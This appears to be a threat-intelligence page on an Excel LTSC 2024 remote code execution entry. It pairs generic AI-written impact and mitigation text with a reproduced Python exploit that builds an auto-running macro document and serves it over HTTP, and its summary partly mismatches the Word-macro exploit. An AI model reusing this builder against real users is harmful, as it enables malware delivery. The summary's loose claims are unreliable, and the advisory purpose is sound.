Microsoft Excel LTSC 2024 - Remote Code Execution (RCE)
Microsoft Excel LTSC 2024 - Remote Code Execution (RCE)
AI Analysis
Technical Summary
The reported security threat concerns a Remote Code Execution (RCE) vulnerability in Microsoft Excel LTSC 2024. RCE vulnerabilities allow an attacker to execute arbitrary code on a victim's machine, potentially leading to full system compromise. Although specific technical details about the vulnerability are not provided, the presence of exploit code written in Python indicates that the vulnerability can be actively exploited, likely by crafting malicious Excel files or leveraging a flaw in the way Excel processes certain inputs. The exploit targets Microsoft Excel LTSC 2024, a long-term servicing channel version of Excel designed for enterprise environments. Given the nature of RCE vulnerabilities, an attacker could execute code with the privileges of the user running Excel, potentially enabling data theft, installation of malware, lateral movement within networks, or disruption of services. The absence of patch links suggests that a fix may not yet be publicly available, increasing the urgency for organizations to apply interim mitigations. The exploit does not require user interaction details, but typically, RCE in Excel would require the victim to open a malicious Excel file or preview it in a vulnerable context. The exploit code being in Python suggests that the attack vector could be automated or integrated into larger attack frameworks, increasing the risk of widespread exploitation once weaponized. No CVSS score is provided, but the critical severity tag indicates a high-risk vulnerability with potentially severe consequences.
Potential Impact
For European organizations, this RCE vulnerability in Microsoft Excel LTSC 2024 poses significant risks. Excel is widely used across industries for data analysis, reporting, and financial operations, making it a common attack vector. Successful exploitation could lead to unauthorized access to sensitive corporate data, intellectual property theft, disruption of business operations, and potential compliance violations under regulations such as GDPR. The ability to execute arbitrary code remotely could also facilitate ransomware deployment or supply chain attacks, severely impacting organizational availability and reputation. Given the critical nature of the vulnerability and the lack of an available patch, European enterprises relying on Excel LTSC 2024 must consider the threat as immediate and severe, especially those in finance, government, healthcare, and critical infrastructure sectors where data confidentiality and integrity are paramount.
Mitigation Recommendations
1. Immediate deployment of application control and endpoint detection and response (EDR) solutions to monitor and block suspicious Excel activities and scripts. 2. Restrict the opening of Excel files from untrusted sources, including email attachments and downloads, through user training and email filtering policies. 3. Disable or limit macros and embedded content execution within Excel where possible, as these are common vectors for RCE exploits. 4. Employ network segmentation to limit lateral movement if a system is compromised. 5. Monitor for indicators of compromise related to the known Python exploit code, including unusual process executions or network connections initiated by Excel. 6. Stay alert for official patches or advisories from Microsoft and prioritize their deployment once available. 7. Consider using sandbox environments to open suspicious Excel files safely. 8. Implement strict privilege management to ensure users run Excel with the least privileges necessary, reducing the impact of potential exploitation.
Affected Countries
Germany, France, United Kingdom, Italy, Spain, Netherlands, Belgium, Sweden, Poland, Ireland
Indicators of Compromise
- exploit-code: # Titles: Microsoft Excel LTSC 2024 - Remote Code Execution (RCE) # Author: nu11secur1ty # Date: 06/16/2025 # Vendor: Microsoft # Software: https://www.microsoft.com/en/microsoft-365/excel?market=af # Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-27751 # CVE-2025-47957 # Versions: Microsoft Office LTSC 2024 , Microsoft Office LTSC 2021, Microsoft 365 Apps for Enterprise ## Description: The attacker can trick any user into opening and executing their code by sending a malicious DOCX file via email or a streaming server. After the execution of the victim, his machine can be infected or even worse than ever; this could be the end of his Windows machine! WARNING: AMPOTATE THE MACROS OPTIONS FROM YOUR OFFICE 365!!! STATUS: HIGH-CRITICAL Vulnerability [+]Exploit: ``` #!/usr/bin/python # CVE-2025-47957 by nu11secur1ty import os import time import zipfile import threading import http.server import socket import socketserver import win32com.client def get_local_ip(): """Get the LAN IP address of the current machine.""" try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect(("8.8.8.8", 80)) # External DNS, just for routing ip = s.getsockname()[0] s.close() return ip except: return "127.0.0.1" def create_docm_with_auto_macro(filename): script_dir = os.path.dirname(os.path.abspath(__file__)) full_path = os.path.join(script_dir, filename) word = win32com.client.Dispatch("Word.Application") word.Visible = False doc = word.Documents.Add() doc.Content.Text = "This document contains an auto-starting macro." vbproject = doc.VBProject vbcomponent = vbproject.VBComponents.Add(1) # Standard Module macro_code = ''' Sub AutoOpen() Call YOUR_PoC End Sub Sub YOUR_PoC() Dim Program As String Dim TaskID As Double On Error Resume Next Program = "YOUR_EXPLOIT_HERE" TaskID = YOUR_TASK_HERE If Err <> 0 Then MsgBox "Can't start " & Program End If End Sub ''' vbcomponent.CodeModule.AddFromString(macro_code) wdFormatXMLDocumentMacroEnabled = 13 doc.SaveAs(full_path, FileFormat=wdFormatXMLDocumentMacroEnabled) doc.Close() word.Quit() print(f"[+] Macro-enabled .docm saved at: {full_path}") return full_path def compress_to_zip(filepath): zip_path = filepath + '.zip' with zipfile.ZipFile(zip_path, 'w') as zipf: zipf.write(filepath, arcname=os.path.basename(filepath)) print(f"[+] Compressed to ZIP: {zip_path}") return zip_path def start_http_server(directory, port=8000): os.chdir(directory) handler = http.server.SimpleHTTPRequestHandler httpd = socketserver.TCPServer(("", port), handler) ip = get_local_ip() print(f"[+] HTTP server running at: http://{ip}:{port}/") thread = threading.Thread(target=httpd.serve_forever) thread.daemon = True thread.start() return httpd if __name__ == "__main__": filename = "CVE-2025-47957.docm" docm_path = create_docm_with_auto_macro(filename) zip_path = compress_to_zip(docm_path) server = start_http_server(os.path.dirname(docm_path)) try: print("[*] Server running — press Ctrl+C to stop...") while True: time.sleep(1) except KeyboardInterrupt: print("\n[!] Ctrl+C detected — shutting down server...") server.shutdown() print("[+] The Exploit Server stopped. Goodbye!") ``` # Reproduce: [href](https://www.youtube.com/watch?v=r4NsGrO56yo) # Buy an exploit only: [href](https://satoshidisk.com/pay/COeJqt) # Time spent: 01:37:00 -- System Administrator - Infrastructure Engineer Penetration Testing Engineer Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.html https://cxsecurity.com/ and https://www.exploit-db.com/ 0day Exploit DataBase https://0day.today/ home page: https://www.nu11secur1ty.com/ hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= nu11secur1ty <http://nu11secur1ty.com/> -- System Administrator - Infrastructure Engineer Penetration Testing Engineer Exploit developer at https://packetstorm.news/ https://cve.mitre.org/index.html https://cxsecurity.com/ and https://www.exploit-db.com/ 0day Exploit DataBase https://0day.today/ home page: https://www.nu11secur1ty.com/ hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= nu11secur1ty <http://nu11secur1ty.com/>
Microsoft Excel LTSC 2024 - Remote Code Execution (RCE)
Description
Microsoft Excel LTSC 2024 - Remote Code Execution (RCE)
AI-Powered Analysis
Technical Analysis
The reported security threat concerns a Remote Code Execution (RCE) vulnerability in Microsoft Excel LTSC 2024. RCE vulnerabilities allow an attacker to execute arbitrary code on a victim's machine, potentially leading to full system compromise. Although specific technical details about the vulnerability are not provided, the presence of exploit code written in Python indicates that the vulnerability can be actively exploited, likely by crafting malicious Excel files or leveraging a flaw in the way Excel processes certain inputs. The exploit targets Microsoft Excel LTSC 2024, a long-term servicing channel version of Excel designed for enterprise environments. Given the nature of RCE vulnerabilities, an attacker could execute code with the privileges of the user running Excel, potentially enabling data theft, installation of malware, lateral movement within networks, or disruption of services. The absence of patch links suggests that a fix may not yet be publicly available, increasing the urgency for organizations to apply interim mitigations. The exploit does not require user interaction details, but typically, RCE in Excel would require the victim to open a malicious Excel file or preview it in a vulnerable context. The exploit code being in Python suggests that the attack vector could be automated or integrated into larger attack frameworks, increasing the risk of widespread exploitation once weaponized. No CVSS score is provided, but the critical severity tag indicates a high-risk vulnerability with potentially severe consequences.
Potential Impact
For European organizations, this RCE vulnerability in Microsoft Excel LTSC 2024 poses significant risks. Excel is widely used across industries for data analysis, reporting, and financial operations, making it a common attack vector. Successful exploitation could lead to unauthorized access to sensitive corporate data, intellectual property theft, disruption of business operations, and potential compliance violations under regulations such as GDPR. The ability to execute arbitrary code remotely could also facilitate ransomware deployment or supply chain attacks, severely impacting organizational availability and reputation. Given the critical nature of the vulnerability and the lack of an available patch, European enterprises relying on Excel LTSC 2024 must consider the threat as immediate and severe, especially those in finance, government, healthcare, and critical infrastructure sectors where data confidentiality and integrity are paramount.
Mitigation Recommendations
1. Immediate deployment of application control and endpoint detection and response (EDR) solutions to monitor and block suspicious Excel activities and scripts. 2. Restrict the opening of Excel files from untrusted sources, including email attachments and downloads, through user training and email filtering policies. 3. Disable or limit macros and embedded content execution within Excel where possible, as these are common vectors for RCE exploits. 4. Employ network segmentation to limit lateral movement if a system is compromised. 5. Monitor for indicators of compromise related to the known Python exploit code, including unusual process executions or network connections initiated by Excel. 6. Stay alert for official patches or advisories from Microsoft and prioritize their deployment once available. 7. Consider using sandbox environments to open suspicious Excel files safely. 8. Implement strict privilege management to ensure users run Excel with the least privileges necessary, reducing the impact of potential exploitation.
For access to advanced analysis and higher rate limits, contact root@offseq.com
Technical Details
- Edb Id
- 52337
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for Microsoft Excel LTSC 2024 - Remote Code Execution (RCE)
# Titles: Microsoft Excel LTSC 2024 - Remote Code Execution (RCE) # Author: nu11secur1ty # Date: 06/16/2025 # Vendor: Microsoft # Software: https://www.microsoft.com/en/microsoft-365/excel?market=af # Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-27751 # CVE-2025-47957 # Versions: Microsoft Office LTSC 2024 , Microsoft Office LTSC 2021, Microsoft 365 Apps for Enterprise ## Description: The attacker can trick any user into opening and executing their code by sending a malic... (3962 more characters)
Threat ID: 6856903f6504ee7903b59ccf
Added to database: 6/21/2025, 10:58:07 AM
Last enriched: 7/16/2025, 9:25:30 PM
Last updated: 7/29/2025, 3:48:05 AM
Views: 25
Related Threats
Critical Dahua Camera Flaws Enable Remote Hijack via ONVIF and File Upload Exploits
CriticalApple Patches Safari Vulnerability Also Exploited as Zero-Day in Google Chrome
CriticalHow we use MongoDB to detect and block malicious IPs in real time
LowCritical SAP flaw exploited to launch Auto-Color Malware attack on U.S. company
CriticalExploiting zero days in abandoned hardware
MediumActions
Updates to AI analysis are available only with a Pro account. Contact root@offseq.com for access.
External Links
Need enhanced features?
Contact root@offseq.com for Pro access with improved analysis and higher rate limits.